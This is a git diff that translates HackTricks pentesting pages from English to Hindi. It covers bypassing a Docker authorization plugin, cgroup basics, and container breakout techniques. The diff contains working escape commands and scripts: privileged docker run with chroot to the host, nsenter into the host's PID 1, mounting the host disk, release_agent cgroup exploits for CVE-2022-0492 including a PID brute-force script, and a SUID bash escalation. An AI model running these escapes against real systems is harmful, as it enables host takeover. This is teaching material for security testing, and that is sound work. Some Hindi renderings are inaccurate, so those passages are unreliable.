आपको प्रतिबंधों को बायपास करने की अनुमति दे सकता है। -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## प्लगइन को अक्षम करना +यदि **sysadmin** ने **प्लगइन** को **अक्षम** करने की क्षमता को **रोकने** के लिए **भूल** किया है, तो आप इसका लाभ उठाकर इसे पूरी तरह से अक्षम कर सकते हैं! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +याद रखें कि **उन्नयन के बाद प्लगइन को फिर से सक्षम करें**, अन्यथा **डॉकर सेवा का पुनरारंभ काम नहीं करेगा**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## ऑथ प्लगइन बायपास लेख - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..5566ed56d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,16 +4,15 @@ ## Basic Information -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups**, या **cgroups**, लिनक्स कर्नेल की एक विशेषता है जो प्रक्रिया समूहों के बीच CPU, मेमोरी, और डिस्क I/O जैसे सिस्टम संसाधनों का आवंटन, सीमा, और प्राथमिकता निर्धारित करने की अनुमति देती है। ये प्रक्रिया संग्रह के संसाधन उपयोग को **प्रबंधित और अलग करने** के लिए एक तंत्र प्रदान करते हैं, जो संसाधन सीमा, कार्यभार अलगाव, और विभिन्न प्रक्रिया समूहों के बीच संसाधन प्राथमिकता जैसे उद्देश्यों के लिए लाभकारी है। -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +**cgroups के दो संस्करण** हैं: संस्करण 1 और संस्करण 2। दोनों को एक सिस्टम पर एक साथ उपयोग किया जा सकता है। मुख्य अंतर यह है कि **cgroups संस्करण 2** एक **हायरार्किकल, पेड़ जैसी संरचना** पेश करता है, जो प्रक्रिया समूहों के बीच संसाधन वितरण को अधिक सूक्ष्म और विस्तृत बनाता है। इसके अतिरिक्त, संस्करण 2 कई सुधार भी लाता है, जैसे: -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +नई हायरार्किकल संगठन के अलावा, cgroups संस्करण 2 ने **कई अन्य परिवर्तन और सुधार** भी पेश किए, जैसे **नए संसाधन नियंत्रकों** के लिए समर्थन, विरासती अनुप्रयोगों के लिए बेहतर समर्थन, और बेहतर प्रदर्शन। -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +कुल मिलाकर, cgroups **संस्करण 2 में संस्करण 1 की तुलना में अधिक सुविधाएँ और बेहतर प्रदर्शन** है, लेकिन बाद वाला अभी भी कुछ परिदृश्यों में उपयोग किया जा सकता है जहाँ पुराने सिस्टम के साथ संगतता एक चिंता है। +आप किसी भी प्रक्रिया के लिए v1 और v2 cgroups की सूची देख सकते हैं, इसके cgroup फ़ाइल को /proc/\ में देखकर। आप इस कमांड के साथ अपने शेल के cgroups को देखने से शुरू कर सकते हैं: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,63 +27,56 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +आउटपुट संरचना इस प्रकार है: -The output structure is as follows: +- **संख्याएँ 2–12**: cgroups v1, प्रत्येक पंक्ति एक अलग cgroup का प्रतिनिधित्व करती है। इनके लिए नियंत्रक संख्या के बगल में निर्दिष्ट होते हैं। +- **संख्या 1**: भी cgroups v1, लेकिन केवल प्रबंधन उद्देश्यों के लिए (जैसे, systemd द्वारा सेट किया गया), और इसमें कोई नियंत्रक नहीं है। +- **संख्या 0**: cgroups v2 का प्रतिनिधित्व करता है। कोई नियंत्रक सूचीबद्ध नहीं हैं, और यह पंक्ति केवल उन सिस्टम पर विशेष है जो केवल cgroups v2 चला रहे हैं। +- **नाम पदानुक्रमित हैं**, जो फ़ाइल पथों के समान हैं, विभिन्न cgroups के बीच संरचना और संबंध को दर्शाते हैं। +- **/user.slice या /system.slice** जैसे नाम cgroups की श्रेणीकरण को निर्दिष्ट करते हैं, जिसमें user.slice आमतौर पर systemd द्वारा प्रबंधित लॉगिन सत्रों के लिए और system.slice सिस्टम सेवाओं के लिए होता है। -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. +### cgroups देखना -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +फाइल सिस्टम आमतौर पर **cgroups** तक पहुँचने के लिए उपयोग किया जाता है, जो पारंपरिक रूप से कर्नेल इंटरैक्शन के लिए उपयोग किए जाने वाले Unix सिस्टम कॉल इंटरफेस से भिन्न है। एक शेल के cgroup कॉन्फ़िगरेशन की जांच करने के लिए, किसी को **/proc/self/cgroup** फ़ाइल की जांच करनी चाहिए, जो शेल के cgroup को प्रकट करती है। फिर, **/sys/fs/cgroup** (या **`/sys/fs/cgroup/unified`**) निर्देशिका में जाकर और उस निर्देशिका को खोजकर जो cgroup के नाम को साझा करती है, विभिन्न सेटिंग्स और संसाधन उपयोग जानकारी देखी जा सकती है जो cgroup से संबंधित है। ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +cgroups के लिए प्रमुख इंटरफ़ेस फ़ाइलें **cgroup** से पूर्ववर्ती होती हैं। **cgroup.procs** फ़ाइल, जिसे सामान्य कमांड जैसे cat के साथ देखा जा सकता है, cgroup के भीतर प्रक्रियाओं की सूची देती है। एक और फ़ाइल, **cgroup.threads**, थ्रेड जानकारी शामिल करती है। ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +शेल का प्रबंधन करने वाले cgroups आमतौर पर दो नियंत्रकों को शामिल करते हैं जो मेमोरी उपयोग और प्रक्रिया की संख्या को नियंत्रित करते हैं। एक नियंत्रक के साथ बातचीत करने के लिए, नियंत्रक के पूर्ववर्ती वाले फ़ाइलों की जांच करनी चाहिए। उदाहरण के लिए, **pids.current** का संदर्भ लिया जाएगा ताकि cgroup में थ्रेड की संख्या का पता लगाया जा सके। ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +एक मान में **max** का संकेत cgroup के लिए किसी विशिष्ट सीमा की अनुपस्थिति का सुझाव देता है। हालाँकि, cgroups की पदानुक्रमित प्रकृति के कारण, सीमाएँ निर्देशिका पदानुक्रम में एक निम्न स्तर के cgroup द्वारा लागू की जा सकती हैं। -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### cgroups को संशोधित और बनाना +प्रक्रियाओं को **`cgroup.procs` फ़ाइल में उनके प्रक्रिया आईडी (PID) को लिखकर** cgroups में असाइन किया जाता है। इसके लिए रूट विशेषाधिकार की आवश्यकता होती है। उदाहरण के लिए, एक प्रक्रिया जोड़ने के लिए: ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +इसी तरह, **cgroup विशेषताओं को संशोधित करना, जैसे PID सीमा सेट करना**, संबंधित फ़ाइल में इच्छित मान लिखकर किया जाता है। एक cgroup के लिए अधिकतम 3,000 PIDs सेट करने के लिए: ```bash echo 3000 > pids.max ``` +**नए cgroups बनाना** cgroup पदानुक्रम के भीतर एक नया उपनिर्देशिका बनाने में शामिल है, जो कर्नेल को आवश्यक इंटरफेस फ़ाइलें स्वचालित रूप से उत्पन्न करने के लिए प्रेरित करता है। हालांकि सक्रिय प्रक्रियाओं के बिना cgroups को `rmdir` के साथ हटाया जा सकता है, कुछ सीमाओं के प्रति जागरूक रहें: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **प्रक्रियाएँ केवल पत्ते cgroups में रखी जा सकती हैं** (यानी, पदानुक्रम में सबसे अधिक नेस्टेड)। +- **एक cgroup में अपने माता-पिता में अनुपस्थित नियंत्रक नहीं हो सकता**। +- **बच्चे cgroups के लिए नियंत्रकों को `cgroup.subtree_control` फ़ाइल में स्पष्ट रूप से घोषित किया जाना चाहिए**। उदाहरण के लिए, एक बच्चे cgroup में CPU और PID नियंत्रकों को सक्षम करने के लिए: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +**रूट cgroup** इन नियमों का एक अपवाद है, जो सीधे प्रक्रिया स्थानांतरण की अनुमति देता है। इसका उपयोग systemd प्रबंधन से प्रक्रियाओं को हटाने के लिए किया जा सकता है। -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**cgroup के भीतर CPU उपयोग की निगरानी** `cpu.stat` फ़ाइल के माध्यम से संभव है, जो कुल CPU समय को प्रदर्शित करता है, जो सेवा के उप-प्रक्रियाओं के बीच उपयोग को ट्रैक करने में सहायक है: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: +

cpu.stat फ़ाइल में दिखाए गए CPU उपयोग के आँकड़े

-

CPU usage statistics as shown in the cpu.stat file

+## संदर्भ -## References - -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **पुस्तक: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..9edf8bc6c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - ## Automatic Enumeration & Escape -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): यह भी **कंटेनरों की गणना** कर सकता है +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): यह उपकरण **कंटेनर की गणना करने के लिए काफी उपयोगी है जिसमें आप हैं और यहां तक कि स्वचालित रूप से भागने की कोशिश करें** +- [**amicontained**](https://github.com/genuinetools/amicontained): यह उपकरण कंटेनर के पास मौजूद विशेषाधिकार प्राप्त करने के लिए उपयोगी है ताकि इससे भागने के तरीके खोजे जा सकें +- [**deepce**](https://github.com/stealthcopter/deepce): कंटेनरों से गणना करने और भागने के लिए उपकरण +- [**grype**](https://github.com/anchore/grype): छवि में स्थापित सॉफ़्टवेयर में शामिल CVEs प्राप्त करें ## Mounted Docker Socket Escape -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. - +यदि किसी तरह आप पाते हैं कि **डॉकर सॉकेट कंटेनर के अंदर माउंट किया गया है**, तो आप इससे भागने में सक्षम होंगे।\ +यह आमतौर पर उन डॉकर कंटेनरों में होता है जिन्हें किसी कारणवश कार्य करने के लिए डॉकर डेमन से कनेक्ट करने की आवश्यकता होती है। ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +इस मामले में आप docker डेमन के साथ संवाद करने के लिए नियमित docker कमांड का उपयोग कर सकते हैं: ```bash #List images to use one docker images @@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> यदि **docker socket एक अप्रत्याशित स्थान पर है** तो आप **`docker`** कमांड का उपयोग करके इसे **`-H unix:///path/to/docker.sock`** पैरामीटर के साथ संचारित कर सकते हैं। + +Docker डेमन भी [एक पोर्ट पर सुन सकता है (डिफ़ॉल्ट रूप से 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) या Systemd-आधारित सिस्टम पर, Docker डेमन के साथ संचार Systemd socket `fd://` के माध्यम से हो सकता है। > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> इसके अतिरिक्त, अन्य उच्च-स्तरीय रंटाइम के रनटाइम सॉकेट पर ध्यान दें: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../ > - rktlet: `unix:///var/run/rktlet.sock` > - ... -## Capabilities Abuse Escape +## क्षमताओं का दुरुपयोग बचाव -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +आपको कंटेनर की क्षमताओं की जांच करनी चाहिए, यदि इसमें निम्नलिखित में से कोई भी है, तो आप इससे बचने में सक्षम हो सकते हैं: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +आप **पहले उल्लेखित स्वचालित उपकरणों** का उपयोग करके वर्तमान में कंटेनर क्षमताओं की जांच कर सकते हैं या: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +आप निम्नलिखित पृष्ठ पर **लिनक्स क्षमताओं के बारे में अधिक जान सकते हैं** और उन्हें कैसे दुरुपयोग करके विशेषाधिकारों से बचने/वृद्धि करने के लिए: {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## विशेषाधिकार प्राप्त कंटेनरों से बचना -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +एक विशेषाधिकार प्राप्त कंटेनर को `--privileged` ध्वज के साथ या विशिष्ट सुरक्षा उपायों को निष्क्रिय करके बनाया जा सकता है: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +`--privileged` ध्वज कंटेनर की सुरक्षा को काफी कम कर देता है, **असीमित डिवाइस एक्सेस** प्रदान करता है और **कई सुरक्षा उपायों** को बायपास करता है। विस्तृत विवरण के लिए, `--privileged` के पूर्ण प्रभावों पर दस्तावेज़ देखें। {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### विशेषाधिकार प्राप्त + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +इन अनुमतियों के साथ आप बस **रूट के रूप में होस्ट में चल रहे एक प्रक्रिया के नामस्थान में जा सकते हैं** जैसे init (pid:1) बस चलाकर: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +इसे एक कंटेनर में परीक्षण करें: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` - ### Privileged -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +केवल प्रिविलेज्ड फ्लैग के साथ आप **होस्ट के डिस्क** तक पहुँचने की कोशिश कर सकते हैं या **release_agent या अन्य एस्केप्स का दुरुपयोग करके भागने** की कोशिश कर सकते हैं। +कंटेनर में निम्नलिखित बायपास का परीक्षण करें: ```bash docker run --rm -it --privileged ubuntu bash ``` - #### Mounting Disk - Poc1 -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +अच्छी तरह से कॉन्फ़िगर किए गए डॉकर कंटेनर **fdisk -l** जैसे कमांड की अनुमति नहीं देंगे। हालाँकि, गलत कॉन्फ़िगर किए गए डॉकर कमांड जहाँ `--privileged` या `--device=/dev/sda1` फ्लैग बड़े अक्षरों में निर्दिष्ट किया गया है, वहाँ होस्ट ड्राइव को देखने के लिए विशेषाधिकार प्राप्त करना संभव है। ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +तो होस्ट मशीन पर नियंत्रण पाने के लिए, यह तुच्छ है: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +और voilà ! आप अब होस्ट की फ़ाइल प्रणाली तक पहुँच सकते हैं क्योंकि यह `/mnt/hola` फ़ोल्डर में माउंट की गई है। -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### डिस्क माउंट करना - Poc2 +कंटेनर के भीतर, एक हमलावर क्लस्टर द्वारा बनाए गए एक लिखने योग्य hostPath वॉल्यूम के माध्यम से अंतर्निहित होस्ट OS तक और अधिक पहुँच प्राप्त करने का प्रयास कर सकता है। नीचे कुछ सामान्य चीजें हैं जिन्हें आप कंटेनर के भीतर जांच सकते हैं कि क्या आप इस हमलावर वेक्टर का लाभ उठा सकते हैं: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### विशेषाधिकार से बचना मौजूदा release_agent का दुरुपयोग ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - -#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - +#### विशेषाधिकार से बचना रिलीज़_एजेंट का दुरुपयोग ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: +एक **तकनीक का विवरण** खोजें: {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### प्रिविलेज़्ड एस्केप रिलीज़ एजेंट का दुरुपयोग बिना सापेक्ष पथ जाने - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +पिछले एक्सप्लॉइट्स में **होस्ट के फाइल सिस्टम के अंदर कंटेनर का पूर्ण पथ प्रकट होता है**। हालाँकि, यह हमेशा ऐसा नहीं होता। उन मामलों में जहाँ आप **होस्ट के अंदर कंटेनर का पूर्ण पथ नहीं जानते** आप इस तकनीक का उपयोग कर सकते हैं: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +एक विशेषाधिकार प्राप्त कंटेनर के भीतर PoC को निष्पादित करने से निम्नलिखित के समान आउटपुट मिलना चाहिए: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,19 +310,18 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` - #### Privileged Escape Abusing Sensitive Mounts -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: +कुछ फ़ाइलें हैं जो माउंट की जा सकती हैं जो **अंडरलेइंग होस्ट के बारे में जानकारी देती हैं**। इनमें से कुछ यह भी संकेत दे सकती हैं कि **जब कुछ होता है तो होस्ट द्वारा कुछ निष्पादित किया जाना है** (जो एक हमलावर को कंटेनर से बाहर निकलने की अनुमति देगा)।\ +इन फ़ाइलों का दुरुपयोग करने से यह संभव हो सकता है: -- release_agent (already covered before) +- release_agent (पहले ही कवर किया गया) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +हालांकि, आप इस पृष्ठ पर **अन्य संवेदनशील फ़ाइलें** जांचने के लिए पा सकते हैं: {{#ref}} sensitive-mounts.md @@ -359,17 +329,14 @@ sensitive-mounts.md ### Arbitrary Mounts -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… - +कई अवसरों पर आप पाएंगे कि **कंटेनर में होस्ट से कुछ वॉल्यूम माउंट किया गया है**। यदि यह वॉल्यूम सही तरीके से कॉन्फ़िगर नहीं किया गया है, तो आप **संवेदनशील डेटा तक पहुँच/संशोधित** कर सकते हैं: रहस्यों को पढ़ें, ssh authorized_keys को बदलें… ```bash docker run --rm -it -v /:/host ubuntu bash ``` - ### Privilege Escalation with 2 shells and host mount -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +यदि आपके पास **कंटेनर के अंदर रूट के रूप में पहुंच** है जिसमें होस्ट से कुछ फ़ोल्डर माउंट किया गया है और आपने **होस्ट पर गैर-विशिष्ट उपयोगकर्ता के रूप में भाग लिया है** और माउंट किए गए फ़ोल्डर पर पढ़ने की पहुंच है।\ +आप **कंटेनर** के अंदर **माउंट किए गए फ़ोल्डर** में एक **bash suid फ़ाइल** बना सकते हैं और **होस्ट से इसे निष्पादित कर सकते हैं** ताकि प्रिवेस्क किया जा सके। ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` - ### Privilege Escalation with 2 shells -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. +यदि आपके पास **कंटेनर के अंदर रूट के रूप में पहुंच** है और आपने **होस्ट पर गैर-विशिष्ट उपयोगकर्ता के रूप में भाग लिया है**, तो आप **होस्ट के अंदर प्रिवेस्क करने के लिए दोनों शेल का दुरुपयोग कर सकते हैं** यदि आपके पास कंटेनर के अंदर MKNOD करने की क्षमता है (यह डिफ़ॉल्ट रूप से है) जैसे कि [**इस पोस्ट में समझाया गया है**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)।\ +इस तरह की क्षमता के साथ कंटेनर के भीतर रूट उपयोगकर्ता को **ब्लॉक डिवाइस फ़ाइलें बनाने** की अनुमति है। डिवाइस फ़ाइलें विशेष फ़ाइलें होती हैं जो **नीचे के हार्डवेयर और कर्नेल मॉड्यूल्स** तक पहुंचने के लिए उपयोग की जाती हैं। उदाहरण के लिए, /dev/sda ब्लॉक डिवाइस फ़ाइल **सिस्टम के डिस्क पर कच्चे डेटा को पढ़ने** की पहुंच देती है। -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker कंटेनरों के भीतर ब्लॉक डिवाइस के दुरुपयोग के खिलाफ सुरक्षा करता है एक cgroup नीति को 